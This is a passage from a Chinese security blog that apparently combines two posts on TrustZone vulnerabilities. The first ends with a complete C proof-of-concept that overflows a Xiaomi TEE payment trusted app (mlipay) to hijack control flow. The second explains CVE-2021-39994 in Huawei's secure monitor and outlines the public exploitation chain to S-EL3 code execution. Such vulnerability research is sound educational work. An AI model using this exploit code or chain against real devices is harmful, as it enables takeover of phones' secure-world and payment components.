<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span> <span class="p">(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x3c</span> <span class="o">+</span> <span class="mi">16</span><span class="o">*</span><span class="mi">5</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0xdeadbeef</span><span class="p">;</span>
</code></pre></div></div>
<p>完整exp如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <tee_client_api.h>
</span>
<span class="kt">void</span> <span class="nf">debug</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span> <span class="n">buf</span><span class="p">,</span><span class="kt">int</span> <span class="n">len</span><span class="p">){</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">len</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="k">if</span><span class="p">((</span><span class="n">i</span><span class="o">%</span><span class="mi">8</span><span class="o">==</span><span class="mi">0</span><span class="p">)</span> <span class="o">&&</span> <span class="p">(</span><span class="n">i</span><span class="o">!=</span><span class="mi">0</span><span class="p">))</span> <span class="n">printf</span><span class="p">(</span><span class="s">" "</span><span class="p">);</span>
<span class="k">if</span><span class="p">((</span><span class="n">i</span><span class="o">%</span><span class="mi">16</span><span class="o">==</span><span class="mi">0</span><span class="p">)</span> <span class="o">&&</span> <span class="p">(</span><span class="n">i</span><span class="o">!=</span><span class="mi">0</span><span class="p">))</span> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%02X "</span><span class="p">,</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&</span> <span class="mh">0xff</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">){</span>
<span class="n">TEEC_Context</span> <span class="n">ctx</span> <span class="p">;</span>
<span class="n">TEEC_Session</span> <span class="n">sess</span><span class="p">;</span>
<span class="n">TEEC_Operation</span> <span class="n">op</span><span class="p">;</span>
<span class="n">TEEC_UUID</span> <span class="n">uuid</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x66F1C983</span><span class="p">,</span> <span class="mh">0x2444</span><span class="p">,</span> <span class="mh">0x42B4</span><span class="p">,{</span><span class="mh">0x8D</span><span class="p">,</span> <span class="mh">0xB1</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0xB2</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x76</span> <span class="p">}};</span>
<span class="kt">int</span> <span class="n">r</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">TEEC_InitializeContext</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="o">&</span><span class="n">ctx</span><span class="p">);</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">TEEC_OpenSession</span><span class="p">(</span><span class="o">&</span><span class="n">ctx</span><span class="p">,</span> <span class="o">&</span><span class="n">sess</span><span class="p">,</span> <span class="o">&</span><span class="n">uuid</span><span class="p">,</span> <span class="n">TEEC_LOGIN_PUBLIC</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] open mlipay : %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">r</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">op</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">op</span><span class="p">));</span>
<span class="n">op</span><span class="p">.</span><span class="n">paramTypes</span> <span class="o">=</span> <span class="n">TEEC_PARAM_TYPES</span><span class="p">(</span><span class="n">TEEC_MEMREF_TEMP_INPUT</span><span class="p">,</span> <span class="n">TEEC_MEMREF_TEMP_OUTPUT</span><span class="p">,</span> <span class="n">TEEC_NONE</span><span class="p">,</span> <span class="n">TEEC_NONE</span><span class="p">);</span>
<span class="kt">char</span> <span class="o">*</span> <span class="n">payload</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mh">0x1000</span><span class="p">);</span>
<span class="cm">/* -------------------------------- sub_801EB58: mp_handler --------------------------------- */</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span> <span class="n">payload</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// 0x801EB94: if ( *buffer != 1 )</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x1000</span><span class="p">;</span> <span class="c1">// 0x801EBEC: v11 != 0x1000</span>
<span class="cm">/* -------------------------------- sub_80203D4: process_ifaa_cmd --------------------------- */</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x200</span><span class="p">;</span> <span class="c1">// 0x80203F4: v109 = *(_DWORD *)(input + 8); size total</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0xc</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// size total padding</span>
<span class="c1">// sig_len; signature</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">)</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span> <span class="c1">// 0x801F198: size_data = read32(*data): size data</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x14</span><span class="p">)</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// 0x8020458: EXTRACT_DATA((__int64)v72, &v68, &v69); v72</span>
<span class="c1">// pkg_len; pkg_name</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">)</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span> <span class="c1">// 0x801F198: size_data = read32(*data): size data</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x1C</span><span class="p">)</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// 0x8020470: EXTRACT_DATA((__int64)v73, &v68, &v69); v73</span>
<span class="c1">// command</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x20</span><span class="p">)</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="c1">// 0x8020484: v12 = read32(v69)</span>
<span class="c1">// Param_len</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x24</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x100</span><span class="p">;</span> <span class="c1">// 0x80205E0: v11 = EXTRACT_DATA((__int64)&v83, &v68, &v69);</span>
<span class="cm">/* -------------------------------- sub_801FA5C: ifaa_tz_register --------------------------- */</span>
<span class="cm">/* -------------------------------- sub_80243CC: parse_request --------------------------- */</span>
<span class="cm">/* -------------------------------- sub_801F49C: --------------------------- */</span>
<span class="cm">/* -------------------------------- sub_801F27C: ifaa_in_validate_req_sig ------------------- */</span>
<span class="c1">// Params(TLV data)</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">)</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// root_node</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x2a</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0xf0</span><span class="p">;</span> <span class="c1">// size</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x2c</span><span class="p">)</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="c1">// node_regdata</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x2e</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0xe0</span><span class="p">;</span> <span class="c1">// size</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x30</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x8007</span><span class="p">;</span> <span class="c1">// node_sig</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x32</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span> <span class="c1">// size</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x34</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x8006</span><span class="p">;</span> <span class="c1">// node_certchain</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x36</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0xd0</span><span class="p">;</span> <span class="c1">// size</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span> <span class="p">(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x38</span><span class="p">)</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span> <span class="c1">// number of cert !!!</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span> <span class="p">(</span><span class="n">payload</span> <span class="o">+</span> <span class="mh">0x3c</span> <span class="o">+</span> <span class="mi">16</span><span class="o">*</span><span class="mi">5</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0xdeadbeef</span><span class="p">;</span>
<span class="n">op</span><span class="p">.</span><span class="n">params</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">tmpref</span><span class="p">.</span><span class="n">buffer</span> <span class="o">=</span> <span class="n">payload</span><span class="p">;</span>
<span class="n">op</span><span class="p">.</span><span class="n">params</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">tmpref</span><span class="p">.</span><span class="n">size</span> <span class="o">=</span> <span class="mh">0x1000</span><span class="p">;</span>
<span class="cm">/* -------------------------------- sub_80203D4: process_ifaa_cmd --------------------------- */</span>
<span class="kt">char</span> <span class="o">*</span> <span class="n">output</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">);</span>
<span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">output</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x10</span><span class="p">;</span> <span class="c1">// 0x80203F8: v6 = output[1]; if(v6 == 0) v8 = "Invalid param";</span>
<span class="n">op</span><span class="p">.</span><span class="n">params</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">tmpref</span><span class="p">.</span><span class="n">buffer</span> <span class="o">=</span> <span class="n">output</span><span class="p">;</span>
<span class="n">op</span><span class="p">.</span><span class="n">params</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">tmpref</span><span class="p">.</span><span class="n">size</span> <span class="o">=</span> <span class="mh">0x1000</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] trigger bug !</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">TEEC_InvokeCommand</span><span class="p">(</span><span class="o">&</span><span class="n">sess</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&</span><span class="n">op</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] invoke mlipay : %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">r</span><span class="p">);</span>
<span class="n">debug</span><span class="p">(</span><span class="n">op</span><span class="p">.</span><span class="n">params</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">tmpref</span><span class="p">.</span><span class="n">buffer</span><span class="p">,</span><span class="mh">0x100</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"---------------------------</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">debug</span><span class="p">(</span><span class="n">op</span><span class="p">.</span><span class="n">params</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">tmpref</span><span class="p">.</span><span class="n">buffer</span><span class="p">,</span><span class="mh">0x100</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>编译上传运行,exp卡住手机重启后,查看tee日志可见成功控制流劫持到0xdeadbeef:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/deadbeef.png" alt="image" /></p>
<p>经过分析,如果要继续进行利用还是有些麻烦,因为这个栈溢出不是直接的memcpy,且还会有不可控的数据写入栈上,因此slipper的ROP利用中,是通过x19、x21、x23指向的可控内存才控制了更多的寄存器,而不是直接从栈上pop:</p>
<blockquote>
<p>在没有调试器的情况下,x19、x21、x23指向的内存是可控数据这事,是咋看出来的呢?</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/pengpai/rop.png" alt="image" /></p>
<p>后续的ROP以及Patch Linux Kernel的过程,也在我复刻的CTF赛题中有所体现,欢迎参加 <a href="https://mp.weixin.qq.com/s/J_oy7q3zsdgzi85vtKnrOg">OSR TrustZone Pwn</a> 线下实践课程进行体验,最后让我们致敬slipper!</p>
<h2 id="其他">其他</h2>
<ul>
<li><a href="https://blog.csdn.net/weixin_39621185/article/details/110209719">小米强解BL锁解BootLoader工具</a></li>
<li><a href="https://web.vip.miui.com/page/info/mio/mio/detail?isTop=1&postId=18656253">9008模式深刷-刷机教程</a></li>
<li><a href="https://www.zhihu.com/question/279578454">有高通9008强刷,那么BL锁的意义何在?</a></li>
<li><a href="https://www.jianshu.com/p/7eb3da0089ff">硬上MTK平板</a></li>
<li><a href="https://blog.csdn.net/weixin_37738083/article/details/62429992">fastboot命令大全</a></li>
</ul>老板娘欢迎报名 OSR TrustZone Pwn【TrustZone相关漏洞导读】CVE-2021-39994:HUAWEI SMC SE Factory Check OOB Access2023-03-06T00:00:00+00:002023-03-06T00:00:00+00:00https://xuanxuanblingbling.github.io/trustzone/2023/03/06/huawei<p>欢迎报名 <a href="https://mp.weixin.qq.com/s/J_oy7q3zsdgzi85vtKnrOg">OSR TrustZone Pwn</a><br />
<img src="https://xuanxuanblingbling.github.io/assets/pic/trustzone/ad.png" alt="image" /></p>
<h2 id="简述">简述</h2>
<ul>
<li>漏洞编号:CVE-2021-39994</li>
<li>漏洞作者:Maxime Peterlin(马克西姆·彼得林)、Alexandre Adamski(亚历山大·亚当斯基)</li>
<li>漏洞评级:CRITICAL(严重)</li>
<li>漏洞位置:Kirin 810 : HUAWEI P40 Lite (JNY) : BL31 SMC handler for HISEE : S-EL3 Runtime</li>
<li>影响版本:Kirin 810 : HUAWEI P40 Lite (JNY) : Before 2022 February</li>
<li>漏洞固件:全量刷机包中的TRUSTFIRMWARE.img,但镜像已加密</li>
<li>漏洞类型:作者定义为:OOB Access(越界访问),具体理解为:任意地址写固定值</li>
<li>漏洞成因:BL31中处理向SE收发APDU的个别SMC handler,未对EL1传递过来的共享内存地址进行检查</li>
<li>利用效果:从EL1的Linux Kernel出发,提权到S-EL3任意代码执行</li>
<li>公开披露:<a href="https://www.hexacon.fr/slides/22-Hexacon-Hara-Kirin_Dissecting_the_Privileged_Components_of_Huawei_Mobile_Devices.pdf">Hexacon 2022: Hara-Kirin: Dissecting the Privileged Components of Huawei Mobile Devices (2022.10)</a></li>
<li>漏洞细节:<a href="https://blog.impalabs.com/2212_advisory_huawei-secure-monitor.html#smc-se-factory-check-oob-access">Impalabs Blog: Huawei Secure Monitor Vulnerabilities (2022.12)</a></li>
<li>关联漏洞:CVE-2021-22437、CVE-2021-39993</li>
</ul>
<h2 id="作者">作者</h2>
<p>据Linkedin公开资料显示,<a href="https://fr.linkedin.com/in/maximepeterlin/">Maxime Peterlin</a>(马克西姆·彼得林 <a href="https://twitter.com/lyte__">@lyte__</a> )和 <a href="https://fr.linkedin.com/in/alexandreadamski">Alexandre Adamski</a>(亚历山大·亚当斯基 <a href="https://twitter.com/NeatMonster_">@NeatMonster_</a>)均为法国人。另根据公开资料中的大学毕业时间,推测二人均为95年左右生人,因此目前年纪应该不到三十,年少有为。</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/author.png" alt="image" /></p>
<p>职业上,他们二人可以说是形影不离。2018-2020年,二人同时就职于法国安全公司:<a href="https://www.quarkslab.com/">Quarkslab</a>(夸克实验室),可在Quarkslab的博客中找到二人曾经发表的技术文章,其内容以ARM Trustzone与Intel SGX相关的TEE技术为主:</p>
<ul>
<li><a href="https://blog.quarkslab.com/author/alexandre-adamski.html">https://blog.quarkslab.com/author/alexandre-adamski.html</a></li>
<li><a href="https://blog.quarkslab.com/author/maxime-peterlin.html">https://blog.quarkslab.com/author/maxime-peterlin.html</a></li>
</ul>
<p>2019年二人合作登上BlackHat USA 2019,议题为:<a href="https://www.blackhat.com/us-19/briefings/schedule/index.html#breaking-samsungs-arm-trustzone-14932">Breaking Samsung’s ARM TrustZone</a>。2020年二人离开Quarkslab。2021年二人在法国创办研究型安全公司<a href="https://impalabs.com/">Impalabs</a>。本次介绍的漏洞:<a href="https://blog.impalabs.com/2212_advisory_huawei-secure-monitor.html#smc-se-factory-check-oob-access">CVE-2021-39994</a>,正是二人以Impalabs公司的名义,于2022年10月,在法国安全会议<a href="https://www.hexacon.fr/conference/speakers/#hara_kirin">Hexacon 2022</a>上进行公开披露的,其议题为:<a href="https://www.hexacon.fr/slides/22-Hexacon-Hara-Kirin_Dissecting_the_Privileged_Components_of_Huawei_Mobile_Devices.pdf">Hara-Kirin: Dissecting the Privileged Components of Huawei Mobile Devices</a>。另外值得一提的是,Maxime Peterlin曾是法国CTF战队<a href="https://ctftime.org/team/22075">Quokka Light</a>的队员,而Alexandre Adamski是著名IDA逆向协作工具<a href="https://github.com/IDArlingTeam/IDArling/">IDArling</a>的主要作者,可见二人都是实践派出身,相关技术博客:</p>
<ul>
<li><a href="https://blog.impalabs.com/">Impalabs 公司博客</a></li>
<li><a href="https://blog.quarkslab.com/">Quarkslab 公司博客</a></li>
<li><a href="https://lyte.rs/">Maxime Peterlin 个人博客</a></li>
<li><a href="https://neat.sh/">Alexandre Adamski 个人博客</a></li>
</ul>
<h2 id="漏洞">漏洞</h2>
<blockquote>
<p>细节参考:<a href="https://blog.impalabs.com/2212_advisory_huawei-secure-monitor.html#smc-se-factory-check-oob-access">Huawei Secure Monitor Vulnerabilities (2022.12)</a></p>
</blockquote>
<p>这个漏洞简单来说就是,个别的SMC handler未对EL1传递过来的共享内存地址进行检查,直接就进行了使用,进而导致的任意地址写。分析漏洞需要了解的代码主要有两部分:</p>
<ol>
<li>EL1:Linux内核中向BL31中发送SE APDU的驱动代码 <a href="https://github.com/Impalabs/resources/blob/master/ELS-AN00_02_HM_opensource/drivers/hisi/hisee/hisee.c">drivers/hisi/hisee/hisee.c</a>(开源)</li>
<li>S-EL3:BL31中接收EL1传递过来的APDU并转发给SE的smc handler中转代码(逆向)</li>
</ol>
<p>在漏洞细节blog中,可见Impalabs的逆向结果非常残暴,几乎逆出了源码。以他们的逆向结果为准,这个漏洞本身主要关联于BL31的5个函数:</p>
<h3 id="1-hisee_smc_handler">(1) hisee_smc_handler</h3>
<p>首先SE相关的SMC调用分发主函数hisee_smc_handler,会统一调用se_smc_addr_check对需要检查共享内存地址的情况进行检查,然后再进行子功能函数的调用:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/hisee_smc_handler.png" alt="image" /></p>
<p>但根据业务情况,并不是所有子功能函数的参数均需要检查,在函数参数本身设计的就不是共享内存地址时,检查也不应该发生。因此是否进行内存地址检查,hisee_smc_handler需要根据调用的子功能函数进行区别对待,具体判断条件如下,x1为子功能码:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">x1</span> <span class="o">-</span> <span class="mh">0xb</span> <span class="o">></span> <span class="mh">0x35</span> <span class="o">||</span> <span class="p">((</span><span class="mi">1</span> <span class="o"><<</span> <span class="p">(</span><span class="n">x1</span> <span class="o">-</span> <span class="mh">0xb</span><span class="p">))</span> <span class="o">&</span> <span class="mh">0x2003e000002041</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</code></pre></div></div>
<p>注意x1是无符号数,因此0x0到0xa,减0xb均为无符号大正数,大于0x35。因此小于0xb的功能码,全部检查。大于等于0xb的,按照0x2003e000002041为掩码放过检查:</p>
<blockquote>
<p>推测功能码最大为 0x40 (0xb + 0x35 = 0x40)</p>
</blockquote>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0xb</span><span class="p">,</span><span class="mh">0x41</span><span class="p">):</span>
<span class="k">if</span><span class="p">(</span> <span class="p">(</span> <span class="p">(</span><span class="mi">1</span> <span class="o"><<</span> <span class="p">(</span><span class="n">i</span> <span class="o">-</span> <span class="mh">0xb</span><span class="p">)</span> <span class="p">)</span> <span class="o">&</span> <span class="mh">0x2003e000002041</span> <span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">):</span>
<span class="k">continue</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
</code></pre></div></div>
<p>因此如下功能码对应的函数不在hisee_smc_handler函数中进行内存地址检查:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mh">0xb</span> <span class="mh">0x11</span> <span class="mh">0x18</span> <span class="mh">0x30</span> <span class="mh">0x31</span> <span class="mh">0x32</span> <span class="mh">0x33</span> <span class="mh">0x34</span> <span class="mh">0x40</span>
</code></pre></div></div>
<h3 id="2-se_factory_check">(2) se_factory_check</h3>
<p>然而就在这几个hisee_smc_handler放过内存地址检查的函数中,功能码为0x11的se_factory_check函数,却将参数当成了共享内存地址使用,并且在其函数内部也没有进行地址检查,直接就传递给了set_message_header:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/se_factory_check.png" alt="image" /></p>
<h3 id="3-set_message_header">(3) set_message_header</h3>
<p>此函数会将未检查的内存地址赋值给全局变量g_msg_hdr_addr供其他函数使用,直接的函数调用跟踪中断:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/set_message_header.png" alt="image" /></p>
<h3 id="4-send_ack">(4) send_ack</h3>
<p>交叉引用g_msg_hdr_addr找到,在send_ack中会对g_msg_hdr_addr解引用并发生内存写操作,而send_ack也会在SE返回响应后被调用,至此漏洞发生:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/send_ack.png" alt="image" /></p>
<h3 id="5-se_chip_test_ack">(5) se_chip_test_ack</h3>
<p>内存写的值在调用send_ack的se_chip_test_ack函数中可以控制为0xAABBCC55和0xc,故有限制的任意地址写产生,具体来说就是任意地址写固定值:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/se_chip_test_ack.png" alt="image" /></p>
<h3 id="漏洞总结">漏洞总结</h3>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/bug.png" alt="image" /></p>
<p>这个漏洞的存在的基础,就是之前在ATF练习中提到的,在安全边界上使用共享内存传递数据的场景:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/bug_2.png" alt="image" /></p>
<h2 id="利用">利用</h2>
<p>所有漏洞的利用思路都是一步步扩大攻击者的能力,在二进制层面来说,就是一步步扩大可以控制的内存和寄存器。那么一个有限制的任意地址写,如何继续往下扩大内存和寄存器的控制能力呢?一般来说首先的目标就是限制代码,例如突破地址、大小、来源等检查,然后就可以利用更多的接口来完成更大的破坏。最终寻找到内存中与控制流相关的数据并劫持,完成目标点的任意代码执行。本漏洞的利用主要也是这个思路:</p>
<blockquote>
<p>细节参考:<a href="https://blog.impalabs.com/2212_advisory_huawei-secure-monitor.html#smc-se-factory-check-oob-access">Huawei Secure Monitor Vulnerabilities (2022.12)</a></p>
</blockquote>
<ol>
<li>首先利用有限制的任意地址写突破地址检查函数se_smc_addr_check</li>
<li>突破后,利用send_ack中的memcpy_s可以扩大出向任意地址写0x7c单字节的能力,以此修改某个smc handler为地址有限制(0x7c)的gadget,找到可以通过x2寄存器继续控制流劫持的gadget</li>
<li>由于x2寄存器任意可控,因此继续寻找任意地址的gadget,找到<code class="language-plaintext highlighter-rouge">str w1, [x0]</code>完成任意地址写,并平衡栈的gadget,至此有任意地址写任意4字节的能力</li>
<li>利用这个任意地址写任意4字节,继续修改某个smc handler为<code class="language-plaintext highlighter-rouge">str x0, [x1];ret</code>以及<code class="language-plaintext highlighter-rouge">ldr w0, [x0,x1];ret</code>等gadget,完成任意地址写8字节,以及任意地址读4字节。</li>
<li>利用彻底的任意地址写,修改页表,重新映射S-EL3的代码段为可写,修改S-EL3代码,完成S-EL3的任意代码执行!</li>
</ol>
<h3 id="1-disabling-the-cma-whitelist">(1) Disabling the CMA Whitelist</h3>
<p>在地址检查函数se_smc_addr_check中,关键的两个变量g_cma_addr和g_cma_size控制着合法地址范围,并且这俩变量所在的内存页是可写的:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/se_smc_addr_check.png" alt="image" /></p>
<p>因此利用任意地址修改起始地址g_cma_addr为0xc,g_cma_size为0xAABBCC55,因此合法地址范围突破成0xc-0xAABBCC61,BL31主要使用的内存地址正在其中:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/exp1.png" alt="image" /></p>
<h3 id="2-hijacking-an-smc-handler-pointer">(2) Hijacking an SMC Handler Pointer</h3>
<p>在突破se_smc_addr_check后,也许因为某些原因,他们没有利用其他的smc handler,而是利用了完成了地址写的send_ack中的memcpy_s,进而有更大能力的任意地址写。不过这里的写的内容为SE返回的data,仍然不能控制,首字节为0x7c,可以控制共享内存的size为1字节,因此有了任意地址写单字节0x7c的能力:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/exp2.png" alt="image" /></p>
<p>利用这个单字节写,修改bl31_secap_smc_handlers到一个可以继续通过x2控制流劫持的gadget(地址低位为0x7c)。并说明当触发此handler时x0-x3寄存器可控,此时调用父级函数为bl31_secap_handler,调用指令为blr x6:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/exp2_2.png" alt="image" /></p>
<h3 id="3-temporary-write-primitive">(3) Temporary Write Primitive</h3>
<p>找到<code class="language-plaintext highlighter-rouge">str w1, [x0]</code>完成任意地址写,并平衡栈的gadget,使得在bl31_secap_handler调用被篡改的bl31_secap_smc_handlers后,仍然能正常返回,不会引发BL31的崩溃,至此完成了任意地址写任意4字节的利用:</p>
<blockquote>
<p>可能因为目前的过程比较麻烦,跳了2次gadget,并且只能写4字节,他们将此利用称之为暂时的写能力</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/exp3.png" alt="image" /></p>
<h3 id="4-stable-readwrite-primitives">(4) Stable Read/Write Primitives</h3>
<p>利用这个4字节写,他们继续修改两个smc handler为如下gadget,至此有了完整彻底的任意地址读写:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei_smc/exp4.png" alt="image" /></p>
<h3 id="5-double-mapping-the-secure-monitor">(5) Double Mapping the Secure Monitor</h3>
